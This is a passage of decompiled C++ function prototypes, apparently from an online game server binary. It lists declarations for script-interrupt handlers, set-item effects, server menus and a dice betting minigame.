PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); char __thiscall ScriptInterrupt::ScriptInterruptNPCClickAny::sib_BlastCheck(ScriptInterrupt::ScriptInterruptNPCClickAny *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); char __thiscall ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_BlastCheck(ScriptInterrupt::ScriptInterruptObjectDeadHandle *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); char __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_BlastCheck(ScriptInterrupt::ScriptInterruptObjectDeadIndex *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); char __thiscall ScriptInterrupt::ScriptInterruptMobEleminate::sib_BlastCheck(ScriptInterrupt::ScriptInterruptMobEleminate *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); char __thiscall ScriptInterrupt::ScriptInterruptPlayerEleminate::sib_BlastCheck(ScriptInterrupt::ScriptInterruptPlayerEleminate *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); char __thiscall ScriptInterrupt::ScriptInterruptGuildEleminate::sib_BlastCheck(ScriptInterrupt::ScriptInterruptGuildEleminate *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); char __thiscall ScriptInterrupt::ScriptInterruptInterval::sib_BlastCheck(ScriptInterrupt::ScriptInterruptInterval *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); char __thiscall ScriptInterrupt::ScriptInterruptHPLow::sib_BlastCheck(ScriptInterrupt::ScriptInterruptHPLow *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); char __thiscall ScriptInterrupt::ScriptInterruptTimeOut::sib_BlastCheck(ScriptInterrupt::ScriptInterruptTimeOut *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); char __thiscall ScriptInterrupt::ScriptInterruptKillEnemy::sib_BlastCheck(ScriptInterrupt::ScriptInterruptKillEnemy *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); char __thiscall ScriptInterrupt::ScriptInterruptTargetChange::sib_BlastCheck(ScriptInterrupt::ScriptInterruptTargetChange *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); char __thiscall ScriptInterrupt::ScriptInterruptPlayerDead::sib_BlastCheck(ScriptInterrupt::ScriptInterruptPlayerDead *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); char __thiscall ScriptInterrupt::ScriptInterruptAdmin::sib_BlastCheck(ScriptInterrupt::ScriptInterruptAdmin *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); char __thiscall ScriptInterrupt::ScriptInterruptHPUpper::sib_BlastCheck(ScriptInterrupt::ScriptInterruptHPUpper *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); void __thiscall ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_NPCClicked(ScriptInterrupt::ScriptInterruptNPCClickHandle *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_NPCClicked(ScriptInterrupt::ScriptInterruptNPCClickIndex *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptNPCClickAny::sib_NPCClicked(ScriptInterrupt::ScriptInterruptNPCClickAny *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptAdmin::sib_AdminInterrupt(ScriptInterrupt::ScriptInterruptAdmin *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptTargetChange::sib_TargetChange(ScriptInterrupt::ScriptInterruptTargetChange *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptHPFull::sib_HPFull(ScriptInterrupt::ScriptInterruptHPFull *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_ObjectDead(ScriptInterrupt::ScriptInterruptObjectDeadHandle *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_ObjectDead(ScriptInterrupt::ScriptInterruptObjectDeadIndex *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptKillEnemy::sib_ObjectDead(ScriptInterrupt::ScriptInterruptKillEnemy *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptPlayerDead::sib_ObjectDead(ScriptInterrupt::ScriptInterruptPlayerDead *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptAreaEntry::sib_AreaEntry(ScriptInterrupt::ScriptInterruptAreaEntry *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptAreaLeave::sib_AreaLeave(ScriptInterrupt::ScriptInterruptAreaLeave *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); char __thiscall ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_BlastCheck(ScriptInterrupt::ScriptInterruptPickUpItemIndex *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); void __thiscall ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_ItemPickedUp(ScriptInterrupt::ScriptInterruptPickUpItemIndex *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg); char __thiscall List::l_PushA(List *this, ScriptInterrupt::ScriptInterruptArgument *ele); char __thiscall List::l_PushZ(List *this, ScriptInterrupt::ScriptInterruptArgument *ele); char __thiscall List::l_PopA(List *this, ScriptInterrupt::ScriptInterruptArgument *ele); char __thiscall List::l_PopZ(List *this, ScriptInterrupt::ScriptInterruptArgument *ele); char __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast(ScriptInterrupt::ScriptInterruptManager *this, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, #325 *center, unsigned int kq); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptErase(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_NPCClick(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_AdminInterrupt(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_UnitEvent(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_TargetChange(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_MobHPFull(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_ObjectDead(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_AreaEntry(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_AreaLeave(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_PickUpItem(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREAENTRY_ACK(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SCENARIO_AREALEAVE_ACK(void *this, int netcmd, int len, __int16 handle); const char *__thiscall ScriptInterrupt::ScriptInteruptWinGuild::GetName(ScriptInterrupt::ScriptInteruptWinGuild *this); void __thiscall ScriptInterrupt::ScriptInteruptWinGuild::UpdateArgument(ScriptInterrupt::ScriptInteruptWinGuild *this, PineScriptToken *argument); void *__thiscall ScriptInterrupt::ScriptInteruptWinGuild::_vector_deleting_destructor_(ScriptInterrupt::ScriptInteruptWinGuild *this, unsigned int); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); ScriptInterrupt::ScriptInteruptWinGuild *__cdecl ScriptInterrupt::ScriptInterruptUnit::GetInstance(); #325 **__thiscall std::vector>::_Ufill(std::vector > *this, #325 **, unsigned int); void __thiscall ScriptInterrupt::ScriptInterruptManager::ScriptInterruptManager(ScriptInterrupt::ScriptInterruptManager *this); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ScriptInterrupt::ScriptInterruptUnitBase *const *_Val); ScriptInterrupt::ScriptInterruptUnitBase *__thiscall ScriptInterrupt::ScriptInterruptRegisterManager::GetInterruptByName(ScriptInterrupt::ScriptInterruptRegisterManager *this, const char *pkName); ScriptInterrupt::ScriptInterruptRegisterManager *__cdecl ScriptInterrupt::ScriptInterruptRegisterManager::GetInstance(); void __thiscall ScriptInterrupt::ScriptInterruptAdder::ScriptInterruptAdder(ScriptInterrupt::ScriptInterruptAdder *this, ScriptInterrupt::ScriptInterruptUnitBase *pScriptBase); bool __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_Unit(ScriptInterrupt::ScriptInterruptManager *this, Name4 *index, PineScriptToken *exp, int num); void __thiscall InventoryLocking::InventoryCellLock::icl_OnlyLock(CQuest *this, unsigned __int16 *nLocation, unsigned int *LocationX, unsigned int *LocationY); void __thiscall ShineObjectClass::ShineObject::so_LostSP(AbnormalStateContainer::AbnormalStateElement *this, AbnormalStateDictionary::AbState::AbStateStr *sklidx); void __thiscall ShineObjectClass::ShineObject::so_ply_AdminCommand(ItemAttributeClass *this, ItemTotalInformation *iti, char nEndureGrade); bool __thiscall NPCAction::SkillCondition::needToAttach(std::codecvt_base *this); void __thiscall ShineObjectClass::ShineMobileObject::so_scene_MovePathSet(void *this, int locx, int locy, int stt); void __thiscall ShineObjectClass::ShineMobileObject::smo_MoveByScenario(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_scene_CreateItem(void *this, int itemid); void __thiscall ShineObjectClass::ShinePlayer::so_scene_ItemAttrSet(void *this, unsigned __int16 item, char *attr); void __thiscall ShineObjectClass::ShinePlayer::so_scene_EraseItem(void *this, int itemid, int Num); void __thiscall ShineObjectClass::ShineDropItem::so_scene_EraseItem(ShineObjectClass::ShineDropItem *this, unsigned __int16 itemid, int Num); void __thiscall ShineObjectClass::ShineMob::so_scene_DetectRange(void *this, int range); char __thiscall ShineObjectClass::ShineMob::so_scene_IsIdle(void *this); unsigned __int16 *__cdecl std::copy(unsigned __int16 *_First, unsigned __int16 *_Last, unsigned __int16 *_Dest); void *__thiscall std::vector>::operator_(void *this, int a2); void __thiscall ShineObjectClass::ShineMob::sm_scene_SetWeaponRate(void *this, int rRates); char __thiscall ShineObjectClass::ShinePlayer::sp_LinkReplyCheck(int this, int lnkinf); void __thiscall MoveManager::MoveManager(DiceTaiSai *this); char __thiscall ServerMenuActor::sma_IsReady(ServerMenuActor *this); void __thiscall ServerMenuFuncter::smfm_Cancel(ServerMenuFuncter *this, #434 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_Link(ServerMenuFuncter *this, #434 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_LinkToDungeon(ServerMenuFuncter *this, #434 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_LinkWithoutNPC(ServerMenuFuncter *this, #434 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_DeleteInstanceDungeon(ServerMenuFuncter *this, #434 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_ImmediateDivorce(ServerMenuFuncter *this, #434 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_ImmediateDivorceCancel(ServerMenuFuncter *this, #434 *, ServerMenuArgument *); void __thiscall ServerMenuActor::sma_Reset(ServerMenuActor *this); void __thiscall ServerMenuActor::sma_Regist(ServerMenuActor *this, void (__thiscall *func)(ServerMenuFuncter *this, #434 *, ServerMenuArgument *), ServerMenuArgument *sma); void __thiscall ServerMenuActor::sma_Reply(ServerMenuActor *this, #434 *, char); int __thiscall ShineObjectClass::ShinePlayer::sp_RemoveKQItem(_DWORD, _DWORD); // weak void __thiscall SkillDataBox::sdb_Home(SkillDataBox *this, int *sub); char __thiscall SkillDataBox::sdb_Next(SkillDataBox *this, int *sub); SkillDataBox::SkillDataIndex *__thiscall SkillDataBox::sdb_Get(SkillDataBox *this, int *sub); unsigned int __thiscall SetItemData::SkillEffect::operator__(SetItemData::SkillEffect *this, SetIndex index); void __thiscall SetItemData::SetItemAbstateEffect::siae_Clear(SetItemData::SetItemAbstateEffect *this); unsigned __int16 __thiscall SetItemData::SetItemAbstateEffect::siae_GetArgument_Base1000(SetItemData::SetItemAbstateEffect *this, SetIndex idx); void __thiscall SetItemData::SetItemAbstateEffect::siae_SetItemEffectStore(SetItemData::SetItemAbstateEffect *this, SetIndex idx); void __thiscall SetItemData::EffectDescription::EffectDescription(SetItemData::EffectDescription *this); void __thiscall SetItemData::EffectDescription::_EffectDescription(SetItemData::EffectDescription *this); int __cdecl MobAttackSequence::AttackElement4Mob::ae4m_Compare(const void *a, const void *b); char __thiscall SetItemData::EffectDescription::ed_SkillIndexTest(SetItemData::EffectDescription *this, SkillDataBox::SkillDataIndex *sdi, char *skillgroup, char *from, char *to); void __thiscall SetItemData::SetItemEffectList::SetItemEffectList(SetItemData::SetItemEffectList *this); void __thiscall SetItemData::SetItemEffectList::_SetItemEffectList(SetItemData::SetItemEffectList *this); unsigned __int16 __thiscall SetItemData::SetItemEffectList::siel_Index2RegistNumber(SetItemData::SetItemEffectList *this, Name8 *index); void __thiscall SetItemData::EffectByPiece::EffectByPiece(SetItemData::EffectByPiece *this); void __thiscall SetItemData::EffectByPiece::ebp_Append(SetItemData::EffectByPiece *this, SetItem *si); void __thiscall SetItemData::SetItemClassifier::SetItemClassifier(SetItemData::SetItemClassifier *this); void __thiscall SetItemData::SetItemClassifier::_SetItemClassifier(SetItemData::SetItemClassifier *this); unsigned __int16 __thiscall SetItemData::SetItemClassifier::sic_Index2RegistNumber(SetItemData::SetItemClassifier *this, Name8 *index); __int16 __thiscall ShineObjectClass::ShinePlayer::smo_SetEffectForJustSkill(int this); void __thiscall ShineObjectClass::ShinePlayer::smo_SetEffectForJustSkillClear(int this); void __thiscall SetItemData::SetItemAbstateEffect::siae_SetItemEffectRestore(SetItemData::SetItemAbstateEffect *this, ABSTATEREADBLOCK *str); void __thiscall SetItemData::SetItemAbstateEffect::siae_FillSetItemEffect(SetItemData::SetItemAbstateEffect *this, ABSTATEREADBLOCK *str); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall SetItemData::SetItemAbstateEffect::SetItemAbstateEffect(SetItemData::SetItemAbstateEffect *this); void __thiscall SetItemData::EffectDescription::ed_Store(SetItemData::EffectDescription *this, SetItemEffect *effect); void __thiscall SetItemData::SetItemEffectList::siel_Load(SetItemData::SetItemEffectList *this); void __thiscall SetItemData::SetItemClassifier::sic_Load(SetItemData::SetItemClassifier *this); void __thiscall SetItemData::SetItemClassifier::sic_SetItemDefine(SetItemData::SetItemClassifier *this, SetItemData::PlayerSetEffect *seteffect); void __thiscall SetItemData::SetItemEffectList::siel_AppendEffect(SetItemData::SetItemEffectList *this, unsigned __int16 effect, unsigned __int16 skillid); void __thiscall SetItemData::SkillEffect::se_Clear(SetItemData::SkillEffect *this); void __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_SetItemEffectStore(AbnormalStateContainer::AbstateElementInObject *this); void __thiscall SetItemData::SetItemAbstateEffect::siae_ParameterRefit(SetItemData::SetItemAbstateEffect *this); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); void __thiscall MemoryQueue::_MemoryQueue(MemoryQueue *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SetItemCheck(void *this); void __cdecl ShineObjectClass::ShineMobileObject::smo_ply_SetItemEffect(__int16 skillid); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_SetItemEffect(void *this, __int16 skillid); bool __thiscall ShineObjectClass::ShinePlayer::so_IsJoinThisGame(int this, int nGameType); int __thiscall ShineObjectClass::ShinePlayer::so_GetMiniGameInfo(int this); char __thiscall ShineObjectClass::ShinePlayer::so_SetMiniGameInfo(int this, int nGameType); char __thiscall ShineObjectClass::ShinePlayer::so_GetDiceTaiSaiGameLeaveInfo(int this, int pGameLeaveReserve); char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiGameLeaveInfo(int this, char bGameLeaveReserve); char __thiscall ShineObjectClass::ShinePlayer::so_GetDiceTaiSaiRoomLeaveInfo(int this, int pRoomLeaveReserve); char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiRoomLeaveInfo(int this, char bRoomLeaveReserve); char __thiscall ShineObjectClass::ShinePlayer::so_SetMiniGameRoomLeaveMapInfo(int this, const char *sMapName, int LocateXY); char __thiscall ShineObjectClass::ShinePlayer::so_GetMiniGameRoomLeaveMapInfo(int this, char *sMapName, int LocateXY); int __thiscall ShineObjectClass::ShinePlayer::so_GetDiceTaiSaiInfo(int this); char __thiscall CQuest::GetQuestPlayerGender(CQuest *this); char __thiscall ShineObjectClass::ShinePlayer::so_ClearDiceTaiSaiInfo(int this); char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiAllBettingCancelInfo(int this, int pTaiSaiBetting, int bIsLastBettingCancel); char __thiscall ShineObjectClass::ShinePlayer::so_SendExpectIncomeMoney(void *this, int pDBAck); char __thiscall ShineObjectClass::ShinePlayer::so_SendReceiptIncomeMoney(void *this, int pDBAck); char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiAllBettingInfo(int this, int pTaiSaiBetting, int bIsFirstBetting); char __thiscall ShineObjectClass::ShinePlayer::so_SetCTDiceTaiSaiWin(int this, unsigned __int16 nWinCnt); char __thiscall ShineObjectClass::ShinePlayer::so_SetCTDiceTaiSaiSet(int this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_InitDiceInfo(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_InitActiveDiceInfo(ShineObjectClass::ShineMiniHouse *this, ItemInventoryCell *pInvenCell); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsActiveDice(ShineObjectClass::ShineMiniHouse *this, ItemInventoryCell *pDiceCell); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsActiveDice(ShineObjectClass::ShineMiniHouse *this, SHINE_ITEM_REGISTNUMBER nDiceKey); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceFix(ShineObjectClass::ShineMiniHouse *this, DiceTaiSaiInfo *pDiceNum); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceProbability(ShineObjectClass::ShineMiniHouse *this, DiceTaiSaiInfo *pDiceNum, unsigned __int16 nDiceRate); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ClearDiceBettingInfo(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceHistory(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ClearGamerBettingInfo(ShineObjectClass::ShineMiniHouse *this); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadEnter(int a1); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SendTaiSaiGameInfo(ShineObjectClass::ShineMiniHouse *this, #325 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SendTaiSaiBettingInfo(ShineObjectClass::ShineMiniHouse *this, #325 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_CanEnter(ShineObjectClass::ShineMiniHouse *this, #325 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_Enter(ShineObjectClass::ShineMiniHouse *this, #325 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadEnter(ShineObjectClass::ShineMiniHouse *this, #325 *sp); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_Out(int a1); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_Out(ShineObjectClass::ShineMiniHouse *this, #325 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadOut(#325 *this, #325 *, char); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadOut(ShineObjectClass::ShineMiniHouse *this, #325 *, char); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadModeChange(int a1); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_ModeChange(ShineObjectClass::ShineMiniHouse *this, #325 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadModeChange(ShineObjectClass::ShineMiniHouse *this, #325 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_ModeChangeLeave(ShineObjectClass::ShineMiniHouse *this, #325 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadModeChangeLeave(ShineObjectClass::ShineMiniHouse *this, #325 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadSetTimer(#325 *this, #325 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadSetTimer(ShineObjectClass::ShineMiniHouse *this, DiceTaiSaiBetting *pTaiSaiBetting, DICE_TAISAI_BETTING_TYPE nBettingType); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_CanBetting(ShineObjectClass::ShineMiniHouse *this, #325 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_Betting(ShineObjectClass::ShineMiniHouse *this, #325 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadBetting(ShineObjectClass::ShineMiniHouse *this, #325 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadBettingCancel(#325 *this, #325 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_CanBettingCancel(ShineObjectClass::ShineMiniHouse *this, #325 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BettingCancel(ShineObjectClass::ShineMiniHouse *this, #325 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadBettingCancel(ShineObjectClass::ShineMiniHouse *this, #325 *, DiceTaiSaiBetting *); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadEmotion_DiceRoll(int pDBAck); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_CanDiceRoll(ShineObjectClass::ShineMiniHouse *this, #325 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_CanAutoDiceRoll(ShineObjectClass::ShineMiniHouse *this); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_DiceRoll(ShineObjectClass::ShineMiniHouse *this); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadDiceRoll(ShineObjectClass::ShineMiniHouse *this); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_MoneyResult_DiceRoll(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK *pDBAck); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadResult_DiceRoll(ShineObjectClass::ShineMiniHouse *this); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadEmotion_DiceRoll(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK *pDBAck); signed __int16 __cdecl ShineObjectClass::ShineObject::so_mh_DiceTaiSai_CanAutoDiceRoll(); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_PrepareNextGame(ShineObjectClass::ShineMiniHouse *this); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_GetReceiptIncomeMoney(__int16 nInvenSlot); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_GetRank(int pDBAck); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_SendRank(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_RANK_ACK *pDBAck); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadLargeAmount(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadGameFold(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetTaiSaiGamerCnt(ShineObjectClass::ShineMiniHouse *this); int __cdecl ShineObjectClass::ShineMiniHouse::so_mh_RankSortCompare(const void *a, const void *b); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsCreateDice(ShineObjectClass::ShineMiniHouse *this, char bIsCreateDice, SHINE_ITEM_REGISTNUMBER nCreateDiceKey); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsCreateDice(ShineObjectClass::ShineMiniHouse *this, SHINE_ITEM_REGISTNUMBER nCreateDiceKey); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsDeleteDice(ShineObjectClass::ShineMiniHouse *this, char bIsDeleteDice, SHINE_ITEM_REGISTNUMBER nDeleteDiceKey); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsDeleteDice(ShineObjectClass::ShineMiniHouse *this, SHINE_ITEM_REGISTNUMBER nDeleteDiceKey); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsBlowGame(ShineObjectClass::ShineMiniHouse *this, char bIsBlowGame); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsBlowGame(ShineObjectClass::ShineMiniHouse *this); char __thiscall 